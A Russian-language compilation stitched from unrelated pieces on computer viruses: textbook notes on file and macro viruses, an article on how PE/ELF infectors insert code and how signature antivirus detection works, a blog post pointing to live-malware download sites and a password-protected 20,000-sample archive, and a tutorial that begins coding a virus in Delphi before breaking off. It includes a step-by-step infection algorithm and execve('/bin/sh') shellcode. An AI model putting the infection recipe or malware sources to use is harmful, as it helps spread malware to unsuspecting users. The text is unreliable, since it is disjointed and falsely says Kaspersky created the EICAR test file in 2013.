Файловые вирусы могут внедряться только в исполняемые файлы: командные файлы (файлы, состоящие из команд операционной системы), саморазархивирующиеся файлы, пользовательские и системные программы в машинных кодах, а также в документы (таблицы), имеющие макрокоманды (макросы).

Для IBM – совместимых ПЭВМ вирус может внедряться в файлы следующих типов: командные файлы (BAT), загружаемые драйверы (SYS), программы в машинных (двоичных) кодах (EXE, COM), документы Word (DOC) с версии 6.0 и выше, таблицы EXCEL (XLS). Макровирусы могут внедряться и в другие файлы, содержащие макрокоманды.

Файловые вирусы могут размещаться в начале, середине и конце заражаемого файла.

Независимо от места расположения вируса в теле зараженного файла после передачи управления файлу первыми выполняются команды вируса.

В начало файла вирус внедряется одним из трех способов:

первый – заключается в переписывании файла в его конец, а на освободившееся место записывается вирус;

второй – предполагает считывание вируса и зараженного файла в оперативную память, объединение их в один файл и запись его на место файла;

третий – вирус записывается в начало файла без сохранения содержимого (в этом случае зараженный файл становится неработоспособным).

В середину файла вирус также может быть записан различными способами:

первый – файл может «раздвигаться», а в освободившееся место может быть записан вирус;

второй – вирус может внедряться в середину файла без сохранения участка файла, на место которого помещается вирус;

третий – (вирус «Mutant») применяет метод сжатия отдельных участков файла, при этом длина файла после внедрения вируса может не измениться.

Чаще всего вирус внедряется в конец файла , при этом первые команды файла заменяются командами перехода на тело вируса.

Алгоритм работы файлового вируса может быть следующим:

1) резидентный вирус проверяет, заражена ли оперативная память, и при необходимости заражает ее. Нерезидентный вирус ищет незараженные файлы и заражает их;

2) выполняются действия по сохранению работоспособности программы, в файл которой внедряется вирус (восстановление первых байт программы, настройка адресов программ и т.д.);

3) осуществляется деструктивная функция вируса, если выполняются соответствующие условия;

4) передается управление программе, в файле которой находится вирус.

Для существования макровирусов (вирусы, написанные на макроязыках, встроенные в текстовые редакторы, электронные таблицы и др.) в конкретной системе (редакторе) необходимо, чтобы встроенный в нее макроязык имел следующие возможности:

Привязку программы на макроязыке к конкретному файлу;

Копирование макропрограмм из одного файла в другой;

Получение управления макропрограммой без вмешательства пользователя.

Таким условиям отвечают редакторы MS Word, MS Office, Ami Pro, табличный процессор MS Excel (в этих системах используются макроязыки Word Basic и Visual Basic).

При выполнении определенных действий над файлами, содержащими макропрограммы (открытие, сохранение, закрытие и т.д.) автоматически выполняются макропрограммы файлов. При этом управление получают макровирусы, которые сохраняют активность до тех пор, пока активен соответствующий редактор (процессор). Поэтому при работе с другим файлом в «зараженном редакторе (процессоре)» он также заражается.

Поговорим о компьютерных вирусах? Нет, не о том, что вчера поймал ваш антивирус. Не о том, что вы скачали под видом инсталлятора очередного Photoshop. Не о rootkit-e, который стоит на вашем сервере, маскируясь под системный процесс. Не о поисковых барах, downloader-ах и другой малвари. Не о коде, который делает плохие вещи от вашего имени и хочет ваши деньги. Нет, всё это коммерция, никакой романтики…

Мы поговорим о компьютерных вирусах, как о коде, который способен порождать собственные копии, изменяясь от поколения к поколению. Которому, как и его биологическим собратьям, необходим файл-носитель, работоспособный, и остающийся работоспособным, чтобы давать жизнь новым поколениям вируса. Которому для размножения необходима благодатная среда, много вкусных исполняемых файлов, а также, много глупых и активных пользователей, чтобы они их запускали. Так что название «вирус» не просто красивый ярлычок для описания вредоносной программы, компьютерный вирус, в его классическом понимании, является сущностью весьма близкой к его биологическому аналогу. Человечество, как это не раз доказывалось, способно создавать весьма изощренные решения, особенно когда дело касается создания чего-нибудь наносящего вред другим людям.

Итак, давным-давно, после того, как DOS пришел к людям, и у каждого программиста появилась своя маленькая вселенная, где адресное пространство было единым, а права на файлы были всегда rwx, появилась мысль о том, может ли программа копировать сама себя. «Конечно, может!», – сказал программист и написал код, который копирует собственный исполняемый файл. Следующая мысль была «а могут ли две программы объединиться в одну?». «Конечно, могут!», – сказал программист и написал первый инфектор. «Только вот зачем?» – подумал он, и это стало началом эпохи компьютерных вирусов. Как оказалось, гадить на компьютере и всячески пытаться избежать обнаружения очень весело, а создание вирусов является очень интересным с точки зрения системного программиста делом. Кроме того, появившиеся на рынке антивирусы предоставляли создателям вирусов серьёзный вызов их профессионализму.

В общем, для статьи вполне достаточно лирики, перейдем к делу. Я хочу рассказать о классическом вирусе, его структуре, основных понятиях, методах детектирования и алгоритмах, которые используются обеими сторонами для победы.

Анатомия вируса

Мы будем говорить о вирусах, живущих в исполняемых файлах форматов PE и ELF, то есть о вирусах, тело которых представляет собой исполняемый код для платформы x86. Кроме того, пусть наш вирус не будет уничтожать исходный файл, полностью сохраняя его работоспособность и корректно инфицируя любой подходящий исполняемый файл. Да, ломать гораздо проще, но мы же договорились говорить о правильных вирусах, да? Чтобы материал был актуальным, я не буду тратить время на рассмотрение инфекторов старого формата COM, хотя именно на нем были обкатаны первые продвинутые техники работы с исполняемым кодом.

Основными частями кода вируса являются infector и payload. Infector – это код, который ищет подходящие для заражения файлы и внедряет в них вирус, стараясь максимально скрыть факт внедрения и при этом не повредить функционалу файла. Payload – это код, который выполняет собственно необходимые вирмейкеру действия, например, рассылает спам, DoS-ит кого-нибудь, или просто оставляет на машине текстовой файлик «Здесь был Виря». Нам совершенно непринципиально, что там внутри payload, главное, что вирмейкер всячески старается скрыть его содержимое.

Начнём со свойств кода вируса. Чтобы код удобней было внедрять, разделять код и данные не хочется, поэтому обычно используется интеграция данных прямо в исполняемый код. Ну, например, так:
jmp message the_back: mov eax, 0x4 mov ebx, 0x1 pop ecx ; со стека будет взят адрес «Hello, World» mov edx, 0xF int 0x80 ... message: call the_back ; после исполнения на стеке будет лежать адрес «возврата», т.е. адрес «Hello, World\n» db "Hello, World!", 0Dh, 0Ah
Или так:
push 0x68732f2f ; “hs//” push 0x6e69622f ; “nib/” mov ebx, esp ; в ESP теперь адрес строки «/bin/sh» mov al, 11 int 0x80

Все эти варианты кода при определенных условиях можно просто скопировать в память и сделать JMP на первую инструкцию. Правильно написав такой код, позаботившись о правильных смещениях, системных вызовах, чистоте стека до и после исполнения, и т.д., его можно внедрять внутрь буфера с чужим кодом.

Предположим, вирмейкер имеет возможность написать код вируса в таком стиле, и теперь ему надо внедрить его в существующий исполняемый файл. Ему необходимо позаботиться о двух вещах:

• Куда положить вирус? Необходимо найти достаточно места, чтобы вирус туда поместился, записать его туда, по возможности не разломав файл и так, чтобы в области, в которой вирус окажется, было разрешено исполнение кода.
• Как передать управление на вирус? Просто положить вирус в файл недостаточно, надо еще совершить переход на его тело, а после завершения его работы вернуть управление программе-жертве. Или в другом порядке, но, в любом случае, мы же договорились не ломать ничего, да?

Итак, разберемся с внедрением в файл. Современные исполняемые форматы для платформы x86 в Windows и Linux – это PE (Portable Executable) и ELF (Executable and Linkable Format). Вы без проблем найдёте их спецификации в системной документации, и если будете заниматься вопросами защиты исполняемого кода, то точно не пропустите. Исполняемые форматы и системный загрузчик (код операционной системы, который занимается запуском исполняемого файла) являются одним из «слонов», на которых стоит операционная система. Процедура запуска.exe файла является очень сложным алгоритмически процессом с кучей нюансов, и рассказывать об этом можно в десятке статей, которые вы обязательно найдете сами, если тема вас заинтересует. Я ограничусь простым рассмотрением, достаточным для базового понимания процесса запуска. Чтобы в меня не кидались помидорами, далее под компилятором я буду иметь в виду весь комплекс программ, превращающий исходный код в готовый исполняемый файл, то есть, фактически, компилятор + линкер.

Исполняемый файл (PE или ELF) состоит из заголовка и набора секций. Секции – это выровненные (см. ниже) буферы с кодом или данными. При запуске файла секции копируются в память и под них выделяется память, причем совсем необязательно того объёма, который они занимали на диске. Заголовок содержит разметку секций, и сообщает загрузчику, как расположены секции в файле, когда он лежит на диске, и каким образом необходимо расположить их в памяти перед тем, как передать управление коду внутри файла. Для нас интересны три ключевых параметра для каждой секции, это psize, vsize, и flags. Psize (physical size) представляет собой размер секции на диске. Vsize (virtual size) – размер секции в памяти после загрузки файла. Flags – атрибуты секции (rwx). Psize и Vsize могут существенно различаться, например, если программист объявил в программе массив в миллион элементов, но собирается заполнять его в процессе исполнения, компилятор не увеличит psize (на диске содержимое массива хранить до запуска не нужно), а вот vsize увеличит на миллион чего-то там (в runtime для массива должно быть выделено достаточно памяти).

Флаги (атрибуты доступа) будут присвоены страницам памяти, в которые секция будет отображена. Например, секция с исполняемым кодом будет иметь атрибуты r_x (read, execute), а секция данных атрибуты rw_ (read,write). Процессор, попытавшись исполнить код на странице без флага исполнения, сгенерирует исключение, то же касается попытки записи на страницу без атрибута w, поэтому, размещая код вируса, вирмейкер должен учитывать атрибуты страниц памяти, в которых будет располагаться код вируса. Стандартные секции неинициализированных данных (например, область стека программы) до недавнего времени имели атрибуты rwx (read, write, execute), что позволяло копировать код прямо в стек и исполнять его там. Сейчас это считается немодным и небезопасным, и в последних операционных системах область стека предназначена только для данных. Разумеется, программа может и сама изменить атрибуты страницы памяти в runtime, но это усложняет реализацию.

Также, в заголовке лежит Entry Point - адрес первой инструкции, с которой начинается исполнение файла.

Необходимо упомянуть и о таком важном для вирмейкеров свойстве исполняемых файлов, как выравнивание. Для того чтобы файл оптимально читался с диска и отображался в память, секции в исполняемых файлах выровнены по границам, кратным степеням двойки, а свободное место, оставшееся от выравнивания (padding) заполнено чем-нибудь на усмотрение компилятора. Например, логично выравнивать секции по размеру страницы памяти – тогда ее удобно целиком копировать в память и назначать атрибуты. Даже вспоминать не буду про все эти выравнивания, везде, где лежит мало-мальски стандартный кусок данных или кода, его выравнивают (любой программист знает, что в километре ровно 1024 метра). Ну а описание стандартов Portable Executable (PE) и Executable Linux Format (ELF) для работающего с методами защиты исполняемого кода – это настольные книжки.

Так как адреса внутри всех этих секций связаны, просто шлепнуть кусок кода в середину секции, «перевязав» его JMP-ами не получится, исходный файл сломается. Поэтому популярными местами для внедрения кода вируса являются:

• основная кодовая секция (перезапись вирусом начала исполняемого кода начиная прямо с Entry Point).
• padding между окончанием заголовка и первой секцией. Там ничего нет и вполне можно уместить там небольшой вирус (либо его загрузчик) не сломав файл.
• новая секция, которую можно дописать в заголовок и разместить в файле после всех остальных. В этом случае никакие внутренние смещения не поломаются, и с местом проблем тоже нет. Правда последняя секция в файле, в которой разрешено исполнение, конечно же, обратит на себя внимание эвристика.
• padding между окончанием содержимого секции и ее выровненным концом. Это намного сложнее, так как сначала надо этот самый «конец» найти, и не факт, что нам повезет и места будет достаточно. Но для некоторых компиляторов это место можно обнаружить просто по характерным байтам

Есть способы и похитрее, некоторые я опишу во второй статье.

Теперь о передаче управления. Чтобы вирус отработал, его код должен каким-то способом получить управление. Самый очевидный способ: сначала управление получает вирус, а потом, после того, как он отработает – программа-хост. Это самый простой способ, но также имеют право на жизнь и варианты, когда вирус получает управление, например, после завершения работы хоста, или в середине исполнения, «замещая» исполнение какой-нибудь функции. Приведем несколько техник передачи управления (термин Entry Point или EP, используемый далее, – это точка входа, то есть адрес, на который системный загрузчик передаст управление после того, как подготовит исполняемый файл к запуску):

1. JMP на тело вируса замещает первые байты, находящиеся в Entry Point файла. Затёртые байты вирус сохраняет в своём теле, и, по окончании собственной работы, восстанавливает их и передает управление на начало восстановленного буфера.
2. Способ, похожий на предыдущий, но вместо байтов вирус сохраняет несколько полных машинных инструкций в Entry Point, тогда он может, ничего не восстанавливая (проследив только за корректной очисткой стека), выполнить их после окончания собственной работы и передать управление на адрес инструкции, следующей за «сворованными».
3. Как и в случае с внедрением, есть способы и похитрее, но мы их тоже рассмотрим ниже, или отложим до следующей статьи.

Всё это – способы сделать корректную вставку буфера с кодом в некоторый исполняемый файл. При этом п.2 и п.3. подразумевают функционал, позволяющий понять, какие байты являются инструкциями, и где находятся границы между инструкциями. Ведь мы не можем «разорвать» инструкцию пополам, в этом случае все сломается. Таким образом, мы плавно переходим к рассмотрению дизассемблеров в вирусах. Понятие принципа работы дизассемблеров нам понадобится для рассмотрения всех нормальных техник работы с исполняемым кодом, поэтому ничего страшного, если я немного опишу его сейчас.

Если мы внедрим свой код в позицию точно между инструкциями, то сможем сохранить контекст (стек, флаги) и, выполнив код вируса, восстановить все обратно, вернув управление программе-хосту. Конечно, с этим тоже могут быть проблемы, если используются средства контроля целостности кода, антиотладка и т.п., но об этом тоже во второй статье. Для поиска такой позиции нам необходимо вот что:

• поставить указатель точно на начало какой-нибудь инструкции (просто так взять рандомное место в исполняемой секции и начать дизассемблирование с него нельзя, один и тот же байт может быть и опкодом инструкции, и данными)
• определить длину инструкции (для архитектуры x86 инструкции имеют разные длины)
• переместить указатель вперед на эту длину. Мы окажемся на начале следующей инструкции.
• повторять, пока не решим остановиться

Это минимальный функционал, необходимый для того, чтобы не попасть в середину инструкции, а функция, которая принимает указатель на байтовую строку, а в ответ отдает длину инструкции, называется дизассемблером длин. Например, алгоритм заражения может быть таким:

1. Выбираем вкусный исполняемый файл (достаточно толстый, чтобы в него поместилось тело вируса, с нужным распределением секций и т.п.).
2. Читаем свой код (код тела вируса).
3. Берем несколько первых инструкций из файла-жертвы.
4. Дописываем их к коду вируса (сохраняем информацию, необходимую для восстановления работоспособности).
5. Дописываем к коду вируса переход на инструкцию, продолжающую исполнение кода-жертвы. Таким образом, после исполнения собственного кода вирус корректно исполнит пролог кода-жертвы.
6. Создаем новую секцию, записываем туда код вируса и правим заголовок.
7. На место этих первых инструкций кладем переход на код вируса.

Это вариант вполне себе корректного вируса, который может внедриться в исполняемый файл, ничего не сломать, скрыто выполнить свой код и вернуть исполнение программе-хосту. Теперь, давайте его ловить.

Анатомия детектора

Вдруг, откуда ни возьмись, появляется рыцарь на белом компе, в левой руке у него отладчик, а в правой – дизассемблер, программист антивирусной компании. Откуда он там взялся? Вы, конечно, догадались. С большой долей вероятности, он появился там из «смежной области». Антивирусная область в плане программирования весьма уважаема теми, кто в теме, ибо возиться этим ребятам приходится с весьма изощренными алгоритмами, причем в довольно стеснённых условиях. Сами посудите: у вас на входе сотня тысяч экземпляров всякой заразы и исполняемый файл, работать вы должны практически в реальном времени, а цена ошибки весьма высока.

Для антивируса, как и для любого конечного автомата, принимающего бинарное решение «да/нет» (инфицирован/здоров), существует два типа ошибок – false positive и false negative (ошибочно признал файл заразным, ошибочно пропустил зараженный). Понятно, что общее число ошибок надо снижать в любом раскладе, но false negative для антивируса куда более неприятна, чем false positive. «После скачивания торрента, перед установкой игры отключите антивирус» - знакомо? Это и есть «false positive» – crack.exe, записывающий что-то в исполняемый.exe файл для достаточно умного эвристического анализатора (см. ниже), выглядит как вирус. Как говорится: «лучше перебдеть, чем недобдеть».

Думаю, не надо описывать вам компоненты современного антивируса, все они крутятся вокруг одного функционала – антивирусного детектора. Монитор, проверяющий файлы на лету, сканирование дисков, проверка почтовых вложений, карантин и запоминание уже проверенных файлов – все это обвязка основного детектирующего ядра. Второй ключевой компонент антивируса – пополняемые базы признаков, без которых поддержание антивируса в актуальном состоянии невозможно. Третий, достаточно важный, но заслуживающий отдельного цикла статей компонент – мониторинг системы на предмет подозрительной деятельности.

Итак (рассматриваем классические вирусы), на входе имеем исполняемый файл и один из сотни тысяч потенциальных вирусов в нем. Давайте детектировать. Пусть это кусок исполняемого кода вируса:
XX XX XX XX XX XX ; начало вируса длиной N байт. . . 68 2F 2F 73 68 push 0x68732f2f ; “hs//” 68 2F 62 69 6E push 0x6e69622f ; “nib/” 8B DC mov ebx, esp ; в ESP теперь адрес строки «/bin/sh» B0 11 mov al, 11 CD 80 int 0x80 XX XX XX XX ; конец вируса длиной M байт. . .
Сразу хочется просто взять пачку опкодов (68 2F 2F 73 68 68 2F 62 69 6E 8B DC B0 11 CD 80) и поискать эту байтовую строку в файле. Если нашли – попался, гад. Но, увы, оказывается эта же пачка байт встречается и в других файлах (ну мало ли кто вызывает командный интерпретатор), да еще и таких строк для поиска «стотыщ», если искать каждую, то никакая оптимизация не поможет. Единственный, быстрый и правильный способ проверить наличие такой строки в файле – это проверить ее существование по ФИКСИРОВАННОМУ смещению. Откуда его взять?

Вспоминаем «смежную область» - особенно места про то, куда вирус себя кладет и как передает себе управление:

• вирус внедряется в padding между заголовком и началом первой секции. В этом случае можно проверить существование этой байт-строки по смещению
  «длина заголовка» + N (где N – число байт от начала вируса до байт-строки)
• вирус лежит в новой, отдельной секции. В этом случаем можно проверить существование байт-строки от начала всех секций с кодом
• вирус внедрился в padding между концом кода и концом кодовой секции. Можно использовать отрицательное смещение от конца секции, типа «конец кодовой секции» - М (где M - число байт от конца байт-строки до конца кода вируса) – «длина байт-строки»

Теперь оттуда же про передачу управления:

• вирус записал свои инструкции прямо поверх инструкций в Entry Point. В этом случае ищем байт строку просто по смещению «Entry Point» + N(где N – число байт от начала вируса до байт-строки)
• вирус записал в Entry Point JMP на свое тело. В этом случае надо сначала вычислить куда смотрит этот JMP, а потом искать байт-строку по смещению «адрес перехода JMP» + N(где N – число байт от начала вируса до байт-строки)

Что-то я устал писать «байт-строка», она переменной длины, хранить ее в базе неудобно, и совершенно необязательно, поэтому вместо байт-строки мы будем использовать её длину плюс CRC32 от неё. Такая запись очень короткая и сравнение работает быстро, так как CRC32 алгоритм не из медленных. Гнаться за устойчивостью к коллизиям контрольных сумм смысла нет, так как вероятность коллизии по фиксированным смещениям мизерная. Кроме того, даже в случае коллизии ошибка будет типа «false positive», что не так уж и страшно. Обобщаем все вышеописанное, вот примерная структура записи в нашей антивирусной базе:

1. ID вируса
2. флаги, указывающие откуда считать смещение (от EP, от конца заголовка, от конца первой секции, от начала всех секций, от адреса перехода инструкции JMP в EP и т.п.)
3. смещение (offset)
4. длина сигнатуры (Lsig)
5. CRC32 сигнатуры (CRCsig)

Оптимизируем вход (оставляем только сигнатуры, которые «влазят» в данный файл, сразу из заголовка подготавливаем набор необходимых смещений) и далее:
{ # для всех подходящих записей - на основании флагов вычисляем базовое смещение в файле (начало кодовой секции, entry point и т.п.) - прибавляем к нему offset - читаем Lsig байт - считаем от них CRC32 - если совпало – мы поймали вирус }
Ура, вот наш первый антивирус. Он достаточно крут, так как при помощи достаточно полной базы сигнатур, нормально подобранных флагов и хорошей оптимизации этот детектор способен очень быстро ловить 95% всяких зараз (подавляющее большинство современного malware это просто исполняемые файлы, без всякой способности к мутации). Далее начинается игра «кто быстрее обновит базы сигнатур» и «кому раньше пришлют новый экземпляр какой-нибудь гадости».

Сбор и каталогизация этой «гадости» является задачей весьма нетривиальной, но совершенно необходимой для качественного тестирования детектора. Сбор эталонной базы исполняемых файлов задача непростая: попробуйте найти все экземпляры зараженных файлов (для сложных случаев в нескольких экземплярах), каталогизировать их, перемешать с «чистыми» файлами и регулярно гонять по ним детектор с целью выявления ошибок детектирования. Такая база собирается годами, и является очень ценным активом антивирусных компаний. Возможно, я ошибаюсь, и её реально достать (всякие сервисы online-проверок на вирусы вполне в состоянии предоставить некоторый её аналог), но, когда я занимался этим вопросом, ничего похожего достать было нельзя (по крайней мере, под Linux).

Эвристический анализатор

Какое страшное слово – «эвристический анализатор», сейчас его и не увидишь в интерфейсах антивирусов (наверное, пугает пользователей). Это одна из самых интересных частей антивируса, так как в нее пихают все, что не укладывается ни в один из движков (ни сигнатурный, ни в эмулятор), и похож на доктора, который видит, что пациент кашляет и чихает, но определить конкретную болезнь не может. Это код, который проверяет файл на некоторые характерные признаки заражения. Примеры таких признаков:

• некорректный (испорченный вирусом, но работоспособный) заголовок файла
• JMP прямо в точке входа
• «rwx» на секции кода

Ну, и так далее. Помимо указания факта заражения, эвристик может помочь принять решение – запускать ли более «тяжелый» анализ файла? Каждый признак имеет разный вес, от «подозрительный какой-то» до «не знаю чем, но файл заражен точно». Именно эти признаки дают большинство ошибок «false positive». Не забудем также о том, что именно эвристик может предоставить антивирусной компании экземпляры потенциальных вирусов. Сработал эвристик, но ничего конкретного не было найдено? Значит файл точно является кандидатом на отправку в антивирусную компанию.

Межвидовое взаимодействие и эволюция

Как мы увидели, для быстрого и точного сравнения детектору необходимы сами байты сигнатуры и ее смещение. Или, другим языком, содержимое кода и адрес его расположения в файле-хосте. Поэтому понятно, как развивались идеи сокрытия исполняемого кода вирусов – по двум направлениям:

• сокрытие кода самого вируса;
• сокрытие его точки входа.

Сокрытие кода вируса в результате вылилось в появление полиморфных движков. То есть движков, позволяющих вирусу изменять свой код в каждом новом поколении. В каждом новом зараженном файле тело вируса мутирует, стараясь затруднить обнаружение. Таким образом, затрудняется создание содержимого сигнатуры.

Сокрытие точки входа (Entry Point Obscuring) в результате послужило толчком для появления в вирусных движках автоматических дизассемблеров для определения, как минимум, инструкций перехода. Вирус старается скрыть место, с которого происходит переход на его код, используя из файла то, что в итоге приводит к переходу: JMP, CALL, RET всякие, таблицы адресов и т.п. Таким образом, вирус затрудняет указание смещения сигнатуры.

Гораздо более подробно некоторые алгоритмы таких движков и детектора мы посмотрим во второй статье, которую я планирую написать в ближайшее время.

Параллельно с развитием вирусных движков и противостоящих им детекторов активно развивались коммерческие защиты исполняемых файлов. Появилось огромное количество небольших коммерческих программ, и разработчикам нужны были движки, позволяющие взять EXE-файл и «завернуть» его в некоторый «конверт», который умеет защищенным образом генерировать валидный серийный номер. А кто у нас умеет скрывать исполняемый код, и внедрять его в исполняемые файлы без потери работоспособности? Правильно, те самые разработчики из «смежной области». Поэтому написание хорошего полиморфного вируса и навесной защиты исполняемого файла – это очень похожие задачи, с использованием одних и тех же алгоритмов и инструментов. Так же схожи и процесс анализа вирусов и создания сигнатур и взлом коммерческого ПО. В обоих случаях надо добраться до истинного кода и либо создать сигнатуру, либо достать из него алгоритм генерации серийного номера.

В интернетах существуют несколько страниц по теме «классификация компьютерных вирусов». Но мы же договорились, вирус – это то, что умеет само себя воспроизводить в системе, и чему необходим файл-носитель. Поэтому всякие трояны-руткиты-malware – это не вирусы, а тип payload-кода, который вирус может таскать на себе. Для описываемых в статье технологий классификация компьютерных вирусов может быть только одна: полиморфные и неполиморфные вирусы. То есть меняющиеся от поколения к поколению, либо нет.

Рассмотренный в статье детектор легко детектирует неполиморфные (мономорфными их назвать, что ли) вирусы. Ну а переход к полиморфным вирусам является отличным поводом, наконец, завершить эту статью, пообещав вернуться к более интересным методам сокрытия исполняемого кода во

Компьютерные вирусы - тема, которая никогда не перестанет быть актуальной. А если говорить конкретнее, то борьба с ними и какие программы защищают ваш компьютер лучше всего.

Безусловно, некоторые пользователи, которые прочитают эту статью уверены в том, что их система надежна и защищена на все сто процентов. Это те пользователи, которые считают, что лучшим антивирусом являются "прямые " руки и ставят защитные утилиты лишь для того, чтобы проверять изменения автозагрузок, реестра и прочего. Именно для таких пользователей в большей мере и написана данная статья.

Вы никогда не задавали себе вопрос, откуда вообще берется источник спроса на антивирусные программы. Ведь все вы слышали про тесты, в ходе которых определяется, что один антивирус лучше другого по таким-то и таким-то характеристикам.

О антивирусах я рассказывал в этом видео:

Какой антивирус лучше? Мнение IT ютуберов

Как же формируются все эти тесты? В идеале картинка такая: в компании специалисты написали разные вирусы, которые пытаются заразить разные версии операционных систем, на которых стоят разные антивирусы и условия при этом тоже разные. После такого вот масштабного тестирования подводятся итоги и пишутся отчеты. Согласитесь, все логично. И у каждого специалиста результаты тестирования могут быть тоже разными, так как у них совершенно другие условия тестирования антивирусной программы.

Сейчас в интернете есть такие сайты, на которых можно скачать вирус, чтобы проверить собственную систему на поиск вышесказанных. Уверен, вы понимаете к чему это может привести.

Сразу давайте внесем ясность. Все вы мыслите здраво и сами хозяева для своих ПК. Поэтому, если после скачивания такого вируса с предложенного мною сайта, у вас полетит вся система, фото, видео, пароли и прочее, не стоит в этом винить меня. Вы качаете вирус лишь на СВОЙ страх и риск. Используйте полученную информация правильно. Не давайте ссылку на скачивание друзьям, детям, беременным женщинам и животным))). Не стоит полностью быть уверенным в своей системе, ведь вы даже понятия не имеете, что кроется в этих вирусах. И вообще, данная статья задумана лишь для ознакомительных целей, а не для применения полученных знаний на практике.

Уже в далеком для нас 2013 году, "Касперский " создал свой первый тестовый вирус "Eicar " . Его основной задачей было взять контроль над системой, вывести на экран нужное сообщение, и снова отдать всю власть системе. Скачать его можно по этой ссылке . вы найдете вирусы для проверки вашего ПК, там есть вирусы на любой цвет и вкус. Ссылки для их скачивания находятся в столбце "Domain " нужно просто открыть ссылку в новом окне . Вот еще один адрес с вирусами , ссылка на которые в столбце "Source”.

Для скачивания вирусов с этого сервиса , может потребоваться регистрация. Если ссылка выделены зеленым цветом, значит там вирус имеется. Желтый цвет означает, что практически все вирусы из архива удалили. Как вы уже поняли, ссылки, окрашенные в красный цвет - без вирусов.

http://www.virusign.com - еще один сервис, который полностью на русском языке.

Пройдя по этой ссылке http://openmalware.org вам заведомо нужно знать название вируса, чтобы найти его в базе данных. На сайте загрузки нужна обязательная регистрация для скачивания.

Ну и напоследок архив с 20000 вирусами - - пароль 111. Да там есть очень злобные твари и не все антивирусы от них спасают!

Думаю, вам хватит такого количества вирусных баз. Не стоит недооценивать эти вирусы и считать, что они только способны слегка напрячь ваш антивирус. Скорее всего там есть такие вредоносные программы, которые антивирус может даже не заметить. Поэтому, повторюсь, сперва трижды подумайте, прежде чем устраивать такие проверки своей антивирусной программе. Если ваш компьютер накроется, то ответственность несете только вы! Все вирусы на этой странице представлены только в ознакомительных целях!

Если вы все же умудрились подхватить заразу смотрите этот плейлист по удалению вирусов:

Удалить все вирусы с компьютера

Спасибо, что вы с нами и никогда не заражайтесь!

Как известно, самые первые компьютерные вирусы - файловые . Именно они наиболее часто распространялись на дискете при обмене играми. Сегодня существуют более опасные вирусы , тем не менее, файловые вирусы могут нанести существенный вред.

В чем заключается принцип работы файлового вируса?

Файловый вирус представляет собой компьютерный вирус , который присоединяет свой код к телу документа или программы и начинает действовать и размножаться при их использовании. Получив управление, он может перенести свое тело в какой-либо файл, находящийся на диске. Заражая файл, он может прикрепиться к его началу, середине либо концу. После прикрепления к файлу вирус способен заражать прочие файлы, оставлять в памяти свои резидентные модули или производить прочие вредоносные действия.

Как правило, файловые вирусы поражают выполняемые объекты стандартной DOS всех типов: драйверы, исполняемые двоичные и командные файлы, а также файлы динамических библиотек и другое. При этом пользователь может и не заметить действия вируса. Чтобы не выдать себя, данный вирус может изначально зафиксировать время и дату последней версии и характеристики атрибутов заражаемого файла, чтобы восстановить эту информацию после заражения.

Типы файловых вирусов:

1. Стелс-вирусы (вирусы-невидимки) - вирусы, которые, перехватывая информацию о зараженных и измененных файлах, частично или целиком скрывают свое наличие в системе.

2. Полиморфные вирусы - вирусы, которые шифруют свой код, а также используют особый метод расшифровки, модифицирующий себя в каждой новой копии вируса.

3. Вирусы-спутники (компаньоны) - вирусы, которые при распространении создают в каталоге дополнительный файл с аналогичным именем с расширением COM. Данный файл с кодом вируса выступает в качестве спутника для файла EXE.

4. Макровирусы - файловые вирусы, заражающие файлы, созданные программами Microsoft Word, Exel и другими распространенными редакторами.

Избежать заражения файловым вирусом поможет установка качественного антивируса и ее регулярное обновление, а также осторожный серфинг в сети. Если же на Ваш ПК проник файловый вирус, не спешите самостоятельно его удалять, с этой проблемой лучше обратиться к специалистам - .

Классификация

HLLO- High Level Language Overwrite. Такой вирус перезаписывает программу своим телом. Т.е.
программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и «заражает» дальше.

HLLC- High Level Language Companion. Большинство таких вирусов от-носятся к седой древности (8-10 лет назад), когда у пользователей стоял ДОС и они были очень ленивы. Эти вирусы ищут файл, и не изменяя его, создают свою копию, но с расширением.COM. Если ленивый пользователь пишет в командной строке только имя файла, то первым ДОС ищет COM файл, запуская вирус, который сначала делает свое дело, а потом запускает ЕХЕ файл. Есть и другая модификация
HLLC — более современная (7 лет;)): Вирус переименовывает файл, сохраняя имя, но меняя расширение- с ЕХЕ на, допустим, OBJ или MAP. Своим телом вирус замещает оригинальный файл. Т.е. пользователь запускает вирус, который, проведя акт размножения, запускает нужную программу- все довольны.

HLLP- High Level Language Parasitic. Самые продвинутые. Приписывают свое тело к файлу спереди (Первым стартует вирус, затем он восстанавливает программу и запускает ее) или сзади
— тогда в заголовок проги мы пишем jmp near на тело вируса, все-таки запускаясь первыми.

Саму же программу мы можем оставить в неизменном виде, тогда это будет выглядеть так:

Что такое MZ, я думаю, ты догадался 🙂 Это же инициалы твоего любимого Марка Збиковски, которые он скромно определил в сигнатуру exe файла 🙂 А вписал я их сюда только для того, чтобы ты понЯл
— заражение происходит по принципу copy /b virus.exe program.exe, и никаких особых приколов тут нет. Сейчас нет. Но мы их с тобой нафигачим
— будь здоров:). Ну, например: можно первые 512 или больше байт оригинальной программы зашифровать любым известным тебе алгоритмом- XOR/XOR, NOT/NOT, ADD/SUB, тогда это будет выглядеть как:

В этом случае структура зараженного файла не будет так понятна.
Я не зря тут (в классификации, в смысле) так распинаюсь
— parasitic-алгоритм используют 90% современных вирусов, независимо от их способа распространения. Ладно, идем дальше:

Сетевой вирус. Может быть любым из перечисленных. Отличается тем, что его распространение не
ограничивается одним компом, эта зараза каким-либо способом лезет через инет или локальную сеть на другие машины. Я думаю, ты регулярно выносишь из мыльника 3-4 таких друга
— вот тебе пример сетевого вируса. А уж попав на чужой комп, он заражает файлы произвольным образом, или не заражает ВООБЩЕ.

Макро вирусы, скриптовые вирусы, IRC вирусы. В одну группу я определил их потому, что это вирусы, написанные на языках, встроенных в приложения (MSOffice:)), скриптах (тут рулит твой любимый VBS) и IRC скриптах. Строго говоря, как только в каком-то приложении появляется достаточно мощная (и/или дырявая) скриптовая компонента, на ней тут же начинают писать вирусы 😉 Кстати, макро вирусы очень просты и легко определяются эвристикой.

Кодинг

Дошли 🙂 Давай, запускай дельфи, убивай всякие окошки и вытирай из окна проекта всю чушь. То есть вообще все вытирай 🙂 Мы будем работать только с DPRом, содержащим:

program EVIL_VIRUS;
USES WINDOWS,SYSUTILS;
begin
end;

